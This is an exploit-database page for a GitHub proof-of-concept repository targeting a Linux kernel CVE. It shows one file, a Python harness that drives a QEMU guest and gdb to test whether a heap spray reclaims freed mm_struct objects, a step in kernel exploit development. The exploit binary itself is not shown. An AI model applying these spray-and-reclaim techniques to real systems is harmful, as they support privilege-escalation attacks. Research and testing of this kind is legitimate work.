Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files354
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/run_spray1.py

Python · 2,542 bytes
#!/usr/bin/env python3
import sys, time, re, subprocess, os
sys.path.insert(0,'/mnt/d/project/ow/qemu')
from serial_drive import Console
VMLINUX='/mnt/d/project/ow/qemu/vmlinux.clang'
def gdb(script, timeout=120):
    open('/tmp/g.gdb','w').write(script)
    p=subprocess.run(['gdb-multiarch','-batch','-q',VMLINUX,'-x','/tmp/g.gdb'],
                     capture_output=True,text=True,timeout=timeout)
    return p.stdout+p.stderr
c=Console(); time.sleep(1); c.send(''); c.read_some(2)
def run(cmd,t=30):
    rc,out=c.run(cmd,timeout=t); print('### '+cmd[:80]); print(out); return out
run('cp /root/exp/spray1 /tmp/ 2>/dev/null; chmod 755 /tmp/spray1; echo OK')
# start under root, feed commands via named pipe to keep stdin
run('rm -f /tmp/in; mkfifo /tmp/in; (sleep 600 > /tmp/in &); (/tmp/spray1 80 320 < /tmp/in > /tmp/spray.log 2>&1 &); echo BG')
time.sleep(6)
out=run('cat /tmp/spray.log')
pids=re.findall(r'PID (\d+) idx (\d+)',out)
print('children:',len(pids))
# gdb snapshot mm of children
lines=['set pagination off','target remote :1234']
mmaddr={}
for pid,idx in pids:
    lines.append('set $t%d=(struct task_struct*)pid_task(find_get_pid(%s),PIDTYPE_PID)'%(int(idx),pid))
    lines.append('printf "MM %s %%08x\\n", $t%d->mm'%(pid,int(idx)))
    mmaddr[pid]=int(idx)
lines += ['detach','quit']
o=gdb('\n'.join(lines)+'\n')
mm=dict(re.findall(r'MM (\d+) ([0-9a-f]{8})',o))
print('snapshot mms:',len(mm))
# group by page
pages={}
for pid,a in mm.items():
    pages.setdefault(int(a,16) & ~0x1fff,[]).append((pid,a))
full=[(b,v) for b,v in pages.items() if len(v)>=16]
print('pages total=%d full(16)=%d'%(len(pages),len(full)))
for b,v in full[:6]: print(hex(b),len(v))
# trigger kill+spray
run('echo kill > /tmp/in')
time.sleep(8)
run('tail -3 /tmp/spray.log')
# gdb examine former mm addresses for MAGIC (text at obj+24; MAGIC at +24)
lines=['set pagination off','target remote :1234']
hits=0
for pid,a in mm.items():
    lines.append('printf "CHK %s %%08x: ", 0x%s'%(pid,a))
    lines.append('x/4wb 0x%x+24'%(int(a,16)))
lines += ['detach','quit']
o=gdb('\n'.join(lines)+'\n',timeout=180)
# parse CHK lines
chk=re.findall(r'CHK (\d+) [0-9a-f]+:\s+((?:0x[0-9a-f]+:?\s+[0-9-]+\s*){4})',o)
import struct
for pid,blk in chk:
    vals=[int(x,16) for x in re.findall(r'0x[0-9a-f]+',blk.split(':')[0])] if False else None
# simpler: count occurrences of MAGIC bytes 4d 41 47 49 = 0x4947414d
magic=0x4947414d
cnt=o.count('0x4947414d')
print('MAGIC word occurrences in dump:',cnt)
open('/tmp/spray_gdb.txt','w').write(o)
print(o[-3000:])